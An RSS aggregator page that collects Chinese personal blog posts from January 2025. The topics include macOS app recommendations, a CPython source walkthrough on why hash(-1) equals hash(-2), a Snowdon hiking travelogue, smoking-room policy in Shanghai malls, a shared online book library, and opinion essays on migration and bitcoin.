PIVOT Vol.11 推荐几个macOS软件

本刊物不定期发布,推荐通过 RSS 订阅:https://anotherdayu.com/feed/

IMG_1488.jpg

推荐几个最近用着很舒服的 macOS 软件!

Mailmate,朋友推荐的一款 macOS IMAP 电子邮件客户端,日常价格为每 3 个月 10 美元,前几天可以 1 美元购买 3 个月的使用权限(已过期),就试了试,结果非常惊喜。付费期限结束后,会自动转为免费版,似乎也够日常使用(还未测试)。很踏实的设计风格,比 Apple mail 和 Spark 细节好很多。如下图,如果邮件中提到了 attachment,但没有添加附件,还会提醒。

telegram-cloud-photo-size-5-6334830467156657640-x.jpg

Kinopio,一款画板软件,风格比较独特,可以分享页面,并嵌入网页,示例:第一次中距离徒步 Yr Wyddfa。从 Obsidian 转出后,偶有画板需求,但不想再额外使用一个笔记软件,就会用 Excalidraw,但 Excalidraw 稍有些粗糙。Kinopio 则刚刚好,网页版轻量化,还能导出为 Obsidian 的 JSON Canvas file format 格式和 PDF,易于储存和索引。

CleanShot 2025-01-12 at 19.08.38@2x.png

new file menu,为 macOS 右键菜单增加新建文件的功能。类似的软件有很多,但部分在系统更新后失效,这款则比较稳定简单。

Trickster,快速索引近期访问的文件,优点是能索引 Devonthink 等软件内部的文件。

CleanShot 2025-01-12 at 21.17.34@2x.png

codepiper,自动复制 macOS 中的短信验证码,很易用。

Rapidmg,macOS 安装 DMG 文件时的拖拽流程比较累赘,这个软件则省去了该步骤。

FluentRead,Firefox插件,类似于沉浸式翻译,优点是开源,设置界面简洁舒适。缺点是目前没有一键全网页翻译,只有段落翻译快捷键。

by Dayu at January 12, 2025 01:34 PM

xiaowuleyi

认知的升级,就是你人生真正的走线


推荐你有条件的话,去看看一个台湾记者拍的纪录片《走线》。

这个纪录片说的是很多国人通过复杂的路线,穿越热带雨林,爬山,涉水,还要在很多国家的边境线穿插,最终“偷渡”美国的事情。目前国内无法看到。

我倒不是要赞美或者批判,实际上你去看这个纪录片,并不是所有费尽千辛万苦到达美国的人都认为自己到了梦中的天堂。也有一定比例的人后悔来到美国,并且抱怨美国根本没有那么好。

就不过多剧透了,你可以看看。很多时候,你认为的天堂,真的到了也许并非想象中那么美好。甚至你可以去看美苏冷战,还有美国人移民去了苏联。

大国博弈时代落下的一粒灰,就是普通人身上的一座山。大国博弈的背后,是无数普通人的命运被改写。他们或许无法选择自己的出生,无法选择自己所处的时代。

于是每个人都想成为“人上人”,却忘记了前面还要“吃得苦中苦”。但我却认为这是一个伪命题,吃苦的本质是一种对资源的争夺和生存的竞争。在资源有限的环境中,个体需要通过付出更多的努力(体力、时间、精力等)来获取有限的资源。这种竞争在农业社会、工业社会中尤为明显,因为物质资源的匮乏使得“吃苦”成为了一种生存的必要手段。

但在现代社会,尤其是信息化和全球化的时代,吃苦的定义已经发生了变化。传统的体力劳动和重复性工作逐渐被自动化和人工智能取代,而创造力和创新成为了新的核心竞争力。因此,吃苦不再仅仅是体力上的付出,更多是精神上的挑战,比如学习新技能、适应快速变化的环境、承担风险等。

不想吃苦,首先就要明白当前的规则是什么。或者直白点说,是什么规则再让你吃苦,而你能否打破这个规则,这个规则可以涵盖一切法定的,口头的,甚至是约定俗成的普世价值。

打破规则的逻辑就是跳出循环,只有跳出循环,才能开启新的可能,哪怕那又是一个新的循环,但却充满了更多可能。越是听话的人,越是穷得很稳定,这是对大多数人而言,也是我个人比较偏激的观点之一。

规则之所以能束缚你,是因为它需要大多数人去听话,去服从,去相信这是“理所当然”,甚至加上了“为了你好”这条如同压了孙悟空五百年的封印。但真正的自由,往往来自于那些敢于质疑和跳出循环的人。哪怕跳出来之后,又是一个新的循环,但至少这个循环是你自己选择的。

虽然我们肉体无法走线,但是财富可以,认知可以。前提是你知道自己想要什么,而不是别人给你灌输什么你就信什么(也别信我)。

比特币是打破规则,开启新循环的一种可能,并且前提是需要一个人的认知破局。至少要明白,货币的本质到底是什么,国家发行的那叫法币,是货币的其中一种表现形式。

同样,我们以为的“成功”、“稳定”这些标签,也不过是被规则设计出来的“标准答案”。

想要改变命运,首先得改变认知。认知的升级,就是你人生真正的走线。要知道自己想要什么,而不是别人告诉你该要什么。要有打破规则的勇气,更要有进入新循环的智慧。只有当你的财富和认知能够走线,你才会发现,所谓的边界,不过是规则的假象,而真正的自由,始于内心的觉醒。

by 小吴乐意 at January 12, 2025 02:52 AM

January 11, 2025

pythoncat

Python 潮流周刊#85:让 AI 帮你写出更好的代码

本周刊由 Python猫 出品,精心筛选国内外的 250+ 信息源,为你挑选最值得分享的文章、教程、开源项目、软件工具、播客和视频、热门话题等内容。愿景:帮助所有读者精进 Python 技术,并增长职业和副业的收入。
分享了 12 篇文章,12 个开源项目,1 则音视频,全文 2300 字。
以下是本期摘要:
① 如果一直要求 LLM “写出更好的代码”,它们能写出更好的代码吗?
② Python 并发:线程、进程与 asyncio 详解
③ 为什么在 Python 中 hash(-1) == hash(-2)?
④ 在浏览器中轻松运行 Python
⑤ PEP-769:给 ‘attrgetter’ 和 ‘itemgetter’ 添加 ‘default’ 关键字参数
⑥ Pipx 的三个使用技巧
⑦ Django vs. FastAPI,真诚的比较
⑧ Python 弱引用与垃圾回收器
⑨ AI-text-to-video-model-from-scratch:从零开发一个微型的文本到视频模型
⑩ Python 在 DevOps 领域的应用
⑪ 用机器学习开发一个贫血检测系统
⑫ Google 发布 AI Agent(智能体)技术白皮书
① AI-reads-books-page-by-page: AI 逐页从 PDF 提取知识与生成摘要
② ai-book-writer: 用 AI 代理编写整本书
③ web-ui:在浏览器中运行 AI 代理
④ F5-TTS:通过流匹配伪造流畅且忠实语音的童话讲述者
⑤ AutoMouser:基于鼠标运动来生成浏览器自动化代码
⑥ paper_to_podcast:将论文转化为三人对谈的播客
⑦ xhs_ai_publisher:小红书 AI 运营助手(内容生成和自动发布)
⑧ ipychat:IPython 的 AI 扩展,使其像 Cursor 一样
⑨ magnetron:从零开始开发的 PyTorch
⑩ dendrite-python-sdk:用于开发网络 AI 代理的工具
⑪ 热门 Django 项目的导航网站
⑫ zh-style-guide:中文技术文档的写作风格指南
① AI 制作的英文播客:Python潮流周刊第一季精选合集
周刊实行付费订阅制,年费 128 元,平均每天不到 4 毛钱,但绝对是一笔有眼光的投资。花钱学习知识,花钱提升自己,欢迎订阅这个你绝对不会后悔的专栏:https://xiaobot.net/p/python_weekly
订阅后,可免费查看 第 85 期周刊的全文:https://www.xiaobot.net/post/900bb219-7e37-47c6-b795-ef7061d18a51
Python 潮流周刊第 2 季完结了,分享几项总结:https://pythoncat.top/posts/2024-07-14-iweekly
周刊前30期的免费合集,含精美电子书(EPUB/PDF):https://pythoncat.top/posts/2023-12-11-weekly
万字浓缩版,Python 潮流周刊第 1 季的 800 个链接!:https://xiaobot.net/post/78c3d645-86fa-4bd8-8eac-46fb192a339e

January 11, 2025 12:00 AM

为什么在 Python 中 hash(-1) == hash(-2)?

作者:Omair Majid
译者:豌豆花下猫&Claude-3.5-Sonnet
时间:原文发布于 2021.07.16,翻译于 2025.01.11
当我在等待代码编译的时候,我在 Reddit 的 r/Python 上看到了这个问题:

hash(-1) == hash(-2) 是个彩蛋吗?

等等,这是真的吗?
$ python
Python 3.9.6 (default, Jun 29 2021, 00:00:00)
[GCC 11.1.1 20210531 (Red Hat 11.1.1-3)] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> hash(-1)
-2
>>> hash(-2)
-2
>>> hash(-1) == hash(-2)
True
是的,确实如此。真让人惊讶!
让我们看看其它一些常见的哈希值:
>>> hash(1)
1
>>> hash(0)
0
>>> hash(3)
3
>>> hash(-4)
-4
看起来所有小整数的哈希值都等于它们自身,除了 -1
现在我完全被这个问题吸引住了。我试图自己找出答案。在接下来的内容中,我将带你了解如何自己寻找这个答案。
如何开始呢?什么能给我们一个权威的答案?
让我们看看源代码!Python 的实际实现代码!

获取源代码

我假设你和我一样,对 Python 的源代码在哪里完全没有概念。
那么,我们(假设从未看过 Python 的源代码)如何获取源代码来回答最初的问题呢?
也许我们可以用 Google?搜索 “python implementation” 会带来一些有趣的结果。
我搜索的 第一个结果 提到了 “CPython 参考实现”。
Github 上 Python 组织 的第二个仓库就是 “cpython”。这看起来很靠谱。我们如何确保万无一失呢?
我们可以访问 python.org。让我们去到源码下载页面。最终我找到了 Python 3.9.6 的压缩包 。解压后,README.rst 也指向了 Github 上的 CPython。
好的,这就是我们的起点。让我们获取这些代码,以便后续搜索:
git clone https://github.com/python/cpython --depth 1
--depth 1 参数使 git 只获取有限的历史记录。这样可以让克隆操作快很多。如果之后需要完整的历史记录,我们可以再获取。

让我们深入研究

在研究代码时,我们需要找到一个起点。最好是容易搜索的东西,比如一个简单的字符串,不会有太多误导性的匹配。
也许我们可以使用 hash 函数的文档?我们可以用 help(hash) 来查看文档内容:
>>> hash
<built-in function hash>
>>> help(hash)
Help on built-in function hash in module builtins:

hash(obj, /)
    Return the hash value for the given object.

    Two objects that compare equal must also have the same hash value, but the
    reverse is not necessarily true.
现在,我们可以用它来找到 hash() 的实现:
$ grep -r 'Return the hash value'
Python/clinic/bltinmodule.c.h:"Return the hash value for the given object.\n"
Python/bltinmodule.c:Return the hash value for the given object.
Doc/library/functions.rst:   Return the hash value of the object (if it has one).  Hash values are
Lib/hmac.py:        """Return the hash value of this hashing object.
hmac 可能与加密的 HMAC 实现有关,所以我们可以忽略它。functions.rst 是一个文档文件,所以也可以忽略。
Python/bltinmodule.c 看起来很有趣。如果我们查看这个文件,会找到这样一段代码:
/*
...
Return the hash value for the given object.

Two objects that compare equal must also have the same hash value, but the
reverse is not necessarily true.
[clinic start generated code]*/

static PyObject *
builtin_hash(PyObject *module, PyObject *obj)
/*[clinic end generated code: output=237668e9d7688db7 input=58c48be822bf9c54]*/
{
    Py_hash_t x;

    x = PyObject_Hash(obj);
    if (x == -1)
        return NULL;
    return PyLong_FromSsize_t(x);
}
搜索 PyLong 带我来到这里。看起来 PyLongObject 是 Python 整数的原生表示(这在稍后会派上用场)。在浏览了 PyLongObject 文档并重读这段代码后,看起来是这样的:
  1. 我们调用 PyObject_Hash 来获得一个对象的哈希值
  2. 如果计算出的哈希值是 -1,那表示是一个错误
    • 看起来我们用 -1 来表示错误,所以没有哈希函数会为真实对象计算出 -1
  3. 我们将 Py_Ssize_t 转换为 PyLongObject(文档中称之为:“这是 PyObject 的子类型,表示一个 Python 整数对象”)
啊哈!这就解释了为什么 hash(0)0hash(1)1hash(-2)-2,但 hash(-1) 不是 -1。这是因为 -1 在内部被用来表示错误。
但为什么 hash(-1)-2 呢?是什么将它设置成了这个值?
让我们看看能否找出原因。
我们可以先查找 PyObject_Hash 。让我们搜索一下。
$ ag PyObject_Hash
...
Objects/rangeobject.c
552:    result = PyObject_Hash(t);

Objects/object.c
777:PyObject_HashNotImplemented(PyObject *v)
785:PyObject_Hash(PyObject *v)
802:    return PyObject_HashNotImplemented(v);

Objects/classobject.c
307:    y = PyObject_Hash(a->im_func);
538:    y = PyObject_Hash(PyInstanceMethod_GET_FUNCTION(self));
...
虽然有很多干扰,但唯一的实现似乎在 Objects/object.c 中:
Py_hash_t
PyObject_Hash(PyObject *v)
{
    PyTypeObject *tp = Py_TYPE(v);
    if (tp->tp_hash != NULL)
        return (*tp->tp_hash)(v);
    /* 为了保持通用做法:在 C 代码中仅从 object 继承的类型,应该无需显式调用 PyType_Ready 就能工作,
     * 我们在这里隐式调用 PyType_Ready,然后再次检查 tp_hash 槽
     */
    if (tp->tp_dict == NULL) {
        if (PyType_Ready(tp) < 0)
            return -1;
        if (tp->tp_hash != NULL)
            return (*tp->tp_hash)(v);
    }
    /* Otherwise, the object can't be hashed */
    return PyObject_HashNotImplemented(v);
}
这段代码相当令人困惑。幸运的是,注释很清晰。在多次阅读后,似乎这段代码——考虑到类型的一些延迟加载(?)——先找到对象的类型(使用 Py_TYPE)。然后寻找该类型的 tp_hash 函数,并在 v 上调用该函数:(*tp->tp_hash)(v)
我们在哪里能找到 -1tp_hash 呢?让我们再次搜索 tp_hash
$ ag tp_hash -l
...
Modules/_multiprocessing/semaphore.c
Objects/sliceobject.c
Objects/moduleobject.c
Objects/exceptions.c
Modules/_pickle.c
Objects/frameobject.c
Objects/setobject.c
Objects/rangeobject.c
Objects/longobject.c
Objects/object.c
Objects/methodobject.c
Objects/classobject.c
Objects/enumobject.c
Objects/odictobject.c
Objects/complexobject.c
...
这是一个很长的列表。回想一下文档中关于 PyLongObject 的说明(“这个…表示一个 Python 整数对象”),我先查看下 Objects/longobject.c
PyTypeObject PyLong_Type = {
    PyVarObject_HEAD_INIT(&PyType_Type, 0)
    "int",                                      /* tp_name */
    offsetof(PyLongObject, ob_digit),           /* tp_basicsize */
    sizeof(digit),                              /* tp_itemsize */
    0,                                          /* tp_dealloc */
    0,                                          /* tp_vectorcall_offset */
    0,                                          /* tp_getattr */
    0,                                          /* tp_setattr */
    0,                                          /* tp_as_async */
    long_to_decimal_string,                     /* tp_repr */
    &long_as_number,                            /* tp_as_number */
    0,                                          /* tp_as_sequence */
    0,                                          /* tp_as_mapping */
    (hashfunc)long_hash,                        /* tp_hash */
    ...
所以 PyLongObject 类型对象的 tp_hashlong_hash。让我们看看这个函数。
static Py_hash_t
long_hash(PyLongObject *v)
{
    Py_uhash_t x;
    Py_ssize_t i;
    int sign;

    ...

    if (x == (Py_uhash_t)-1)
        x = (Py_uhash_t)-2;
    return (Py_hash_t)x;
}
注意我删除了大部分实现细节。但这个函数的结尾正好符合我们的预期:-1 被保留用作错误信号,所以代码明确地将该返回值转换为 -2
这就解释了为什么 hash(-1) 最终与 hash(-2) 相同。这不是一个彩蛋,只是为了避免使用 -1 作为 hash() 方法的返回值,因此采取的变通方法。

这是正确/完整的答案吗?

如前所述,我从未看过 Python 代码库。我认为自己找到了答案。但这是对的吗?我可能完全错了。

Python 的参考实现是 “CPython”,这很可能就是你正在使用的 Python。CPython 是用 C 语言编写的,与 Python 不同,C 语言没有异常处理。所以,在 C 语言中,当你设计一个函数,并且想要表示”发生了错误”时,必须通过返回值来表示这个错误。

CPython 中的 hash() 函数可能返回错误,所以它定义返回值 -1 表示”发生了错误”。但如果哈希计算正确,而对象的实际哈希值恰好是 -1,这可能会造成混淆。所以约定是:如果哈希计算成功,并得到值是 -1,就返回 -2。

在 CPython 中,整数(“长整型对象”)的哈希函数中有专门的代码来处理这种情况:

https://github.com/python/cpython/blob/main/Objects/longobject.c#L2967

这正是我通过阅读代码推测出的结果。

结论

我从一个看似难以回答的问题开始。但是通过几分钟的代码探索——Python 整洁的代码库使得查看它的代码比我见过的其它代码库要容易得多——很容易就发现和理解了答案!如果你接触过计算机,这应该不足为奇。这里没有魔法,只有层层的抽象和代码。
如果本文有什么启示的话,那就是:查看源代码! (文档可能会过时,注释可能不准确,但源码是永恒的。)

January 11, 2025 12:00 AM

January 10, 2025

anotherdayu

第一次中距离徒步 Yr Wyddfa

这是一篇拖了 1 年的游记。

24 年初,去英国探望女友,去了威尔士坎布里亚山脉的斯诺登山(Snowdon)徒步旅行,威尔士语叫 Yr Wyddfa。这是威尔士第一高山,英国第二高山,相对高度 1038 米。

我俩平日很少锻炼,最多在公园和乡间徒步,这是第一次爬原生态的徒步路线。

image.png

小雨转暴雨

早餐吃的是青旅的英式自助餐,味道不错!

选了一个中等难度的线路:Yr Wyddfa (Snowdon) via Miners’ Track and Pyg Circular。全程12.1km,上山是难度比较高的 Pyg Track,下山则走简单一些的 Miners’ Track。

出发的时候还没雨,走到山脚开始有稀稀落落的小雨。

我们准备的不够充分,没带防雨的冲锋衣和徒步鞋,穿着比较日常的衣物,但初生牛犊不怕虎,决定冒雨登山。

走了半小时左右,雨大了起来。山路也从还算平坦的路线,转成了有坡度的碎石路,且雨天路滑,危险了许多。

这段路程需要手脚并用才能前行,跟景区爬楼梯大不相同,第一次感受到了野外徒步的魅力。

这时外套和书包已经湿透,但本着来都来了的态度,我们还是义无反顾的继续。

IMG_0365 Large.jpeg

大雾

大雨后是大雾,能见度很低,登山过程中少了很多享受美景的机会。

浑身湿透,饥寒交迫,我也没太多心思享受美景,只想赶快登顶。女友的状态好一些,很开心的拍照。

好在还能看到心形湖。

IMG_7448.jpeg

这个阶段有些煎熬,因为人已经开始疲倦,但仅走了1/4,前路漫漫,看不到尽头。明显感到体能不支,跟不上那些劲头十足的徒步者,渐渐落到了队尾。

还有一些游客带着宠物,狗狗爬得比我俩顺畅的多。

telegram-cloud-photo-size-4-5764953826703559316-y.jpg

登顶

跌跌撞撞的爬到了山顶,风更大了,还有积雪,能见度几乎为零。

实在太冷,拍了几张照片留念,就匆忙下山。

冬季往返小火车(Snowdon Mountain Railway)停运,只能硬着头皮继续下山。

这个阶段,我们俩更疲倦了,双腿酸疼,还有些憋尿。

只能互相鼓励着前行!

中间休息多次,但每次都不敢久坐,怕体温下降,就再也站不起来了。这时开始有些后怕,应该多做些准备再登山。

下山的风景很好~

IMG_0373.jpeg

真不容易

最后用了 7 个多小时走完全程, Alltrails 软件显示 6 小时,似乎没有把休息的时间算进去。

回到 YHA 青旅后,赶紧洗了个热水澡。意外的是我们都没有感冒,总的来说还算顺利!

IMG_7501.JPG

这次如果不是雨天,路线其实并不困难。

聊起这次的经历,女友想起了一句话:旅行是一种延长生命的方式。生命长度以「富有情感的新鲜经历」作为度量。日常生活中的固定状态,有太多重复的模式,很多经历仿佛被折叠。而旅行时我们敏感又清醒,每一分每一秒,都积极的感受着。更直接的是,这次旅行太苦了,两个人一起走过来,会一直记得!

此后,我对徒步旅行越来越感兴趣,一点点买装备,为下次徒步旅行做准备!

IMG_0348.jpeg

Kinopio

最近很喜欢用 Kinopio,这是一个画板软件,免费功能基本够用,可以分享画板,并嵌入网页。

我用画板整理了此次旅行线路,效果如下:

致谢:审稿人+摄影师,徒步时是女友,现在是家属的小西瓜!

补一句看 Links 视频时听到的话。

为什么要去想这些,比谁高、比谁快比谁厉害,这是山,这不是社会。无论走到哪个高度,是不是登顶,山都会回馈你,它会给你,这份只属于你的感受。悲观者总是正确,乐观者正在前行。

by Dayu at January 10, 2025 02:13 AM

January 09, 2025

anotherdayu

室内吸烟室

前几天跟一位久居日本的老友吃饭,他有肠胃炎,席间跑了几趟厕所,回来直抱怨里头烟味熏人,难受得很。

我听着他的抱怨,感同身受,因为我一直深受慢性咽炎的困扰,异味重就会咳得厉害。

日本大部分区域都设有室外和室内的吸烟室,标识明晰。吸烟者一眼就能找到,既方便了他们,又最大程度减少了二手烟对他人的影响。

我们俩在上海都没看到过吸烟室的标识。当然,我们都不是吸烟者,对这些设施不敏感。于是我们咨询了商场服务台,确实没有设置室内吸烟室,有室外吸烟室,但没有引导标识。

之后的几天只要经过商场,我都会问问室内吸烟室,结果新老商场都仅有室外吸烟区域,且都没有标识。又联系了一位在上海多家商场工作过的朋友,他去过的商场中仅吾悦广场有室内吸烟室。

这些室外吸烟区大多仅有一个烟灰缸,没有顶棚,更别提空调,一下雨,就无法使用。这可能是一部分人转而跑去厕所的原因。

一部分机场会设置室内吸烟室,但一些被设在了公务舱休息室内,普通旅客就享受不了这些便利。

为什么没有室内吸烟区?

对这种现象,我们俩都比较疑惑。设置室内吸烟室,并给予清晰引导,其实会同时提升吸烟者和非吸烟者的消费体验,且成本并不会很高,为何少有设置室内吸烟区的商场呢?

带着疑问,我简单检索了相关资料,发现《公共场所卫生管理条例实施细则》规定,“室内公共场所禁止吸烟”。吸烟点应当满足以下条件:

  1. 室外区域
  2. 不得靠近人群密集区域和行人必经的主要通道;
  3. 符合消防安全;
  4. 设置明显的指引标识;
  5. 配置烟灰缸等盛放烟灰的器具,并设置吸烟有害健康的警示标识。

但其实有一些商场是有室内吸烟室的,所以其中的边界令人感到困惑。

另外,前几年有一例室内公共场所控烟环境公益诉讼案件,涉案商场因在室内设吸烟室,被判赔偿 140 万元环境修复费用、服务功能损失费。

难怪现在少有商场设置室内吸烟区。

但根据这个案件的细节,该商场室内吸烟区和母婴区邻近,且排风换气设施不佳。可能这才是判决的核心原因。

如果要设置室内吸烟区,那么将其设置在合理的位置,并配备强力的换气系统,确实是基础。

其实,对于我们这些不吸烟的人来说,公共场所禁烟力度越大,舒适度越高。但凡事都讲究个度,步子迈得太大,不考虑吸烟群体的实际需求,往往会适得其反。

既然无法完全禁烟,且烟民数量巨大,那么多一些室内吸烟室,其实很好,要互相理解。

这几年上海很多商场都在推二次元和宠物友好这些概念,但对大部分消费者来说,干净的厕所和空气似乎优先级更高一些。

以我母亲为例,外出的时候她都尽量不上厕所。每次去陆家嘴逛街,如果有需求,都会转到国金的卫生间。最后,我们在国金就餐的次数似乎也变多了,印象也更好些。

by Dayu at January 09, 2025 12:08 PM

nbmao

【开源】RSS.Beauty - 让 RSS 变漂亮!

RSS.Beauty 是一个基于 XSLT 技术的 RSS 美化工具, 可以将普通的 RSS/Atom 订阅源转换成美观的阅读界面。

主要特性

  • 🎨 精美的阅读界面
  • 🔄 支持 RSS 2.0 和 Atom 1.0
  • 📱 响应式设计, 支持移动端
  • 🔌 一键订阅到主流 RSS 阅读器
  • 🖥 支持部署到自己服务器

快速开始

访问 RSS.Beauty 并输入任意 RSS 订阅源链接即可体验。

技术栈

开源

GitHub: https://github.com/ccbikai/RSS.Beauty

RSS.Beauty

by 笨猫 at January 09, 2025 01:11 AM

January 08, 2025

xiaowuleyi

H.A.B|低调测试在线书籍系统

先说好,这是测试系统,不一定稳定。但我想里面的书还是有点价值的,至少有些书,你自己去网上找还真不一定容易。

当然后续还会更新,但如果服务器扛不住,可能就转为内部了。

只要能力范围内可以免费提供的,我尽量。但如果确实没办法免费提供,那我也会说清楚。

那么这个网址就是[https://book.btchao.com]()

警告:请不要再微信朋友圈打开链接,否则会导致微信以为你在“翻墙”,影响你的微信安全体验。复制网址到浏览器地址栏,然后访问就可以,电脑体验最佳。

你还需要账号:btchao

以及密码:Btchao@123

能登录,就能看,当然如果非常卡顿,说明同时登录的人比较多。

目前比较优先推荐你看《人生亏欠指南》,当你总在想怎么赚钱的时候,不如先看看别人怎么亏钱。赚钱的方法千千万,亏钱的方法只会更多,如果你感到赚钱辛苦,那一定有人替你财富自由。

当然,九神的囤比特币这本电子书我也上传了,想下载就去下载吧。总算不用百度网盘那种狗屎一样的体验了。

另外,重磅中的重磅,张小龙的饭否日记(已绝版)和王兴的饭否记录(也绝版)都一并免费送上。是真绝版了,所以且看且珍惜!

包括哈耶克的全集,这个我还没来得及翻阅,请大家自行查看吧。当然,更多的书陆续还会上传。

说一千道一万,能稳定使用才是王道。

图片

目前看,基本能保证1000人以内的日常访问是ok的。

我喜欢互联网,这几天一直在思考OpenAI创始人Sam Altman的一个猜测,他认为不久的将来,一个人可能就能创办一家估值10亿美元的独角兽公司。并且一定是在AI的助力之下达成。

所以,请保持热爱。热爱那些看似微不足道的思考,热爱那些在喧嚣中被忽视的声音,热爱那些在黑暗中依然闪烁的理想。因为正是这些热爱,让我们在未来的浪潮中,不至于迷失自己。

请,继续前行!

比特币问答社区:[https://wd.btchao.com]()

比特币网站导航:[https://dh.btchao.com]()

《通往比特币之路》进度70%

H.A.B俱乐部 筹备中......

by 小吴乐意 at January 08, 2025 12:47 PM

agen233

Windows命令行维护

通过 netstat 查询 端口是否被打开。

netstat -ano | findstr : 80
netstat -ano 显示所有端口、以数字形式显示所有ip和端口、显示占用的进程的ID
findstr:80 寻找筛选”:80”字符串的内容,并显示。

CMD-端口

January 08, 2025 09:23 AM

都市天际线政策面板指北

众嗦粥汁,政策是天际线经营玩法的精髓之所在,他是治理城市的有力工具,决定了你的城市包括但不限于收支、吸引度、幸福度等诸多功能。而各种政策,则是由政策面板提供 (

January 08, 2025 09:23 AM

基于STM32F103软件模拟I2C的纯粹C语言面向对象尝试

最近也是秋招收到offer了,嵌软方向,本地企业,于是闲的没事干在学校开摆,顺便提升下代码水平。

于是首当其冲的就是指针和面向对象思维,emmmm怎么说呢,这方面蛮薄弱的,于是刚学了一点结构体指针的皮毛,结合之前比赛因为用了许多I2C设备而多次反复的初始化GPIO口的麻烦,尝试了下把I2C面向对象化,顺便复习下I2C。

面向对象核心思想和C语言的实现

众所周知,向对象编程(Object-Oriented Programming,OOP)是一种通过抽象和封装来提高代码复用性和可维护性的编程范式,但是C语言他原生是面向过程语言,并未向Python和Java那样原生支持面向对象的特性。

C语言的精髓和核心是指针,通过指针直接操作内存,可以实现很多骚操作;加上C语言的struct结构体,以及typedef自定义类型,从而实现模拟类和对象;又因结构体支持结构体的嵌套,因此可以实现基于嵌套意义的类和方法继承;进而实现面向对象的思想和全部功能。

January 08, 2025 09:09 AM

「幻想乐园」|陈致逸全新专辑试听体验

11

刷b站的时候突然发现陈老师出新专辑了,当场就把数字专辑买了(

一开始还以为是原神出新OST了,后来才发现陈老师已经离开米哈游了(

之前听了MV,很浓的枫丹感涌上来,这是初听。

细听才发现,这不是枫丹感,这是独属于陈老师的告白。

乱舞、指环、回廊、朋友,这是陈老师对过往和原神的告别,亦是新旅程的开始。

与其说有枫丹感,更不如说,《幻想乐园》即便是专属于陈老师的枫丹!

January 08, 2025 09:06 AM

January 07, 2025

xiaowuleyi

不会买比特币,不是你能力不行,而是动力不够


先叠个buff,这不是让你去买比特币,而是在探讨一个问题:

当你在说“我不会买比特币啊!怎么买比特币啊?”这个问题出在哪里?怎么解决?

先说一下,中国大陆境内目前是不可以买卖比特币的,属于违法行为。但是个人持有比特币不违法,且是作为一种个人资产得到法律保护的。(具体地方执行情况略有不同)

这是去年我在慕田峪长城的顶峰拍的照片,与我一起登上这最高峰的还有几个外国朋友。

你细看左侧,在长城的外墙边上,摆着一堆饮料,其实还有一个箱子,里面装的是冰棍。以及中国长城文化风格的纪念品冰箱贴啥的,好像老外都很喜欢这玩意。

售卖这些物品的是一个50岁左右的阿姨,她说着熟练的英文:“Cold drinks here! Water, soda, and juice,and ice cream!”("这里有冷饮!水、汽水、果汁,还有冰淇淋!")

并且能与老外流利对话,从每样物品的价格,以及老外选完了可乐和冰棍的总价格,并且找零的对话等等。

当时真应该录一个他(她)们对话现场,非常标准和流利的英文发音,不夸张的说,美剧水准,尤其是带点京腔,倍儿好听。

那你说,这阿姨是不是报了什么英语培训班?或者考了什么雅思托福?应该不至于,我估计大概率是自学而成。那怎么自学的?用什么方式自学的?在哪个平台自学的?有没有办会员?是不是费了很大劲?等等问题,我们不得而知。

也许这个阿姨的英语水平就是在这么不断的磨练中积累出来的。

如果让我来评估是学英语的难度更高,还是买比特币的难度更高,那我肯定选前者。如果屏幕前的你英语哪怕只是考过了三级,那已经比我强了,我三次考试都没过。所以你说你不会买比特币,我不信。

别说你不会,因为这是在给自己设限。——这句话的背后,可能隐藏着一种对未知的恐惧,或者是对行动的拖延。你可能会想:“这东西太复杂了,我搞不懂”“万一亏了怎么办?”“等我再研究研究吧”……结果呢?研究了一年,还是原地踏步。

后台我看了一下粉丝比例,男性粉丝有接近80%,那我想问你们,黄色网站都看过吧?请问去找一个黄色网站,你会满世界问吗?你还会说自己找不到吗?

当年我一个同学,收藏了大概几十个成人网站,甚至还有QQ空间。是的,你没听错,有人在QQ空间不断更新一些“片子”。你说他怎么找到的?我也不知道。

你看,有些事情,你根本不需要别人教,甚至不需要别人催,你自己就会主动去学、去找、去试。为什么?因为你有动力,你有需求,你有好奇心。你会在深夜里默默打开浏览器,输入关键词,翻遍各种论坛,甚至学会翻墙,就为了找到你想要的东西。你不会说“我不会”,你只会说“我一定要找到”。

那为什么换成其他事情,比如学英语、学编程、用AI、了解比特币,你就开始犹豫、拖延、找借口了呢?是因为这些东西对你来说不重要吗?还是因为你觉得自己“做不到”?还是没把你逼急了?试着问问自己。

真把你逼急了,我估计原子弹你都能造出来。这就看把人逼到什么份上了,要么是外力,要么是内驱力,又或者二者相互作用。你不逼自己一把,真不知道自己有多优秀。

还有,前些年很多人看我在抖音里面赚到钱了,总有人问,今年(现在)做抖音还来得及吗?基本上每年都有人问,今年都2025年了,就在昨天还有人问。

其实你应该冷静分析一下,到底是什么在阻止你拥有比特币,当然,我可不是说你非要买比特币。我这句话的重点是在于,你想买,却没有买成的原因。

我个人强烈不建议在你没足够了解和认识到其中风险的前提下盲目购买。

这篇文章提到了一个思路:囤比特币的道路并不拥挤(公众号:小吴乐意)

你是害怕风险吗?你是觉得太复杂吗?还是因为觉得自己没有足够的资金?或者,你只是被那些“比特币是骗局”“比特币会归零”“量子计算机破解比特币”等等之类的言论吓到了?

你看,我们常常会被外界的噪音干扰,被自己的恐惧束缚,结果就是一直在原地打转,迟迟不敢行动。但事实上,问题的核心并不在于比特币本身,而在于你如何看待它,以及你如何面对自己的犹豫和恐惧。

再多说几句掏心窝子的话

前前后后日更了快4个月,写了这么多。对我而言,这就是一次试水,原计划就是试着坚持1个月就不错了,没想到竟然坚持了4个月。而且绝大多数时间都是1天两篇,那应该算大半年了图片

可能很多人只想10万美金买入,18万美金卖出,我也能理解。毕竟,人性就是趋利避害的,谁不想低买高卖,赚个快钱呢?但问题是,市场从来不会按照你的预期走。我以为10万是底,结果它跌到8万;你以为18万是顶,结果它涨到20万。你永远猜不透市场的脾气,唯一能做的,就是做好自己的功课,控制好自己的心态。

所以,应该改变的是我吗? 我有点恍惚和迷茫。作为一个写作者,我的任务是提供信息、分享观点,而不是替你做决定。如果你只想赚快钱,那我再怎么苦口婆心地劝你“理性投资”“长期持有”,你也不会听。因为你的目标和我表达的内容,根本不在一个频道上。

但这并不意味着我会改变自己的表达方式。因为我相信,真正有价值的内容,是能够启发思考、帮助成长的,而不是迎合短期的欲望。就像那位在长城上卖饮料的阿姨,她不会因为游客只想买一瓶水,就放弃推销她的冰棍和纪念品。

